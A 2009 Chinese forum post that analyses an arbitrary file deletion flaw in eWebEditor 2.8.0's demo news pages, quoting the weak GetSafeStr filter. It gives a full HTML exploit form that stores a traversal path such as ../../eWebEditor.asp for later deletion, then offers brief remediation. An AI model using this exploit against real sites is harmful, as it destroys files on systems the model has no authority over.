回忆如何抹去 發表於 2009-4-18 13:34:00

Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法

此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码: <br />' 把带&quot;|&quot;的字符串转为数组 <br />Dim aSavePathFileName <br />aSavePathFileName = Split(sSavePathFileName, &quot;|&quot;) <br />' 删除新闻相关的文件,从文件夹中 <br />Dim i <br />For i = 0 To UBound(aSavePathFileName) <br />' 按路径文件名删除文件 <br />Call DoDelFile(aSavePathFileName(i)) <br />Next <br />而aSavePathFileName是前面从数据库取出来的: <br />sSavePathFileName = oRs(&quot;D_SavePathFileName&quot;) <br />看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里: <br />sSavePathFileName = GetSafeStr(Request.Form(&quot;d_savepathfilename&quot;)) <br />... <br />oRs(&quot;D_SavePathFileName&quot;) = sSavePathFileName <br />居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里: <br />Function GetSafeStr(str) <br />GetSafeStr = Replace(Replace(Replace(Trim(str), &quot;'&quot;, &quot;&quot;), Chr(34), &quot;&quot;), &quot;;&quot;, &quot;&quot;) <br />End Function <br />无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了! <br />下面给出利用的htm: <br />&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;eWebEditor删除文件 &lt;/TITLE&gt; <br />&lt;style&gt;body,p,td,input {font-size:9pt}&lt;/style&gt; <br />&lt;/HEAD&gt;&lt;BODY&gt;&lt;a href='list.asp'&gt;新闻列表&lt;/a&gt; | &lt;a href='add.asp'&gt;增加新闻&lt;/a&gt; <br />&lt;b&gt;增加新闻&lt;/b&gt; <br />&lt;form action=&quot;http://127.0.0.1/editor/Example/NewsSystem/addsave.asp&quot; <br />method=&quot;post&quot; name=&quot;myform&quot;&gt; <br />&lt;input type=hidden name=d_originalfilename&gt; <br />&lt;input type=hidden name=d_savefilename&gt; <br />&lt;table cellspacing=3 align=center&gt; <br />&lt;tr&gt;&lt;td&gt;要删的文件(相对路径就可以了):&lt;/td&gt; <br />&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;d_savepathfilename&quot; value=&quot;&quot; size=&quot;90&quot;&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt;&lt;td&gt;新闻标题(随便填):&lt;/td&gt; <br />&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;d_title&quot; value=&quot;&quot; size=&quot;90&quot;&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt;&lt;td&gt;标题图片:&lt;/td&gt; <br />&lt;td&gt;&lt;select name=&quot;d_picture&quot; size=1&gt;&lt;option value=''&gt;无&lt;/option&gt;&lt;/select&gt; <br />当编辑区有插入图片时,将自动填充此下拉框&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt;&lt;td&gt;新闻内容(随便填):&lt;/td&gt; <br />&lt;td&gt;&lt;textarea name=&quot;d_content&quot;&gt;&lt;/textarea&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;/table&gt; <br />&lt;input type=submit name=btnSubmit value=&quot; 提 交 &quot;&gt; <br />&lt;input type=reset name=btnReset value=&quot; 重 填 &quot;&gt; <br />&lt;/form&gt; <br />&lt;/BODY&gt;&lt;/HTML&gt; <br />删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历! <br /><br />解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。
頁: [1]
查看完整版本: Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法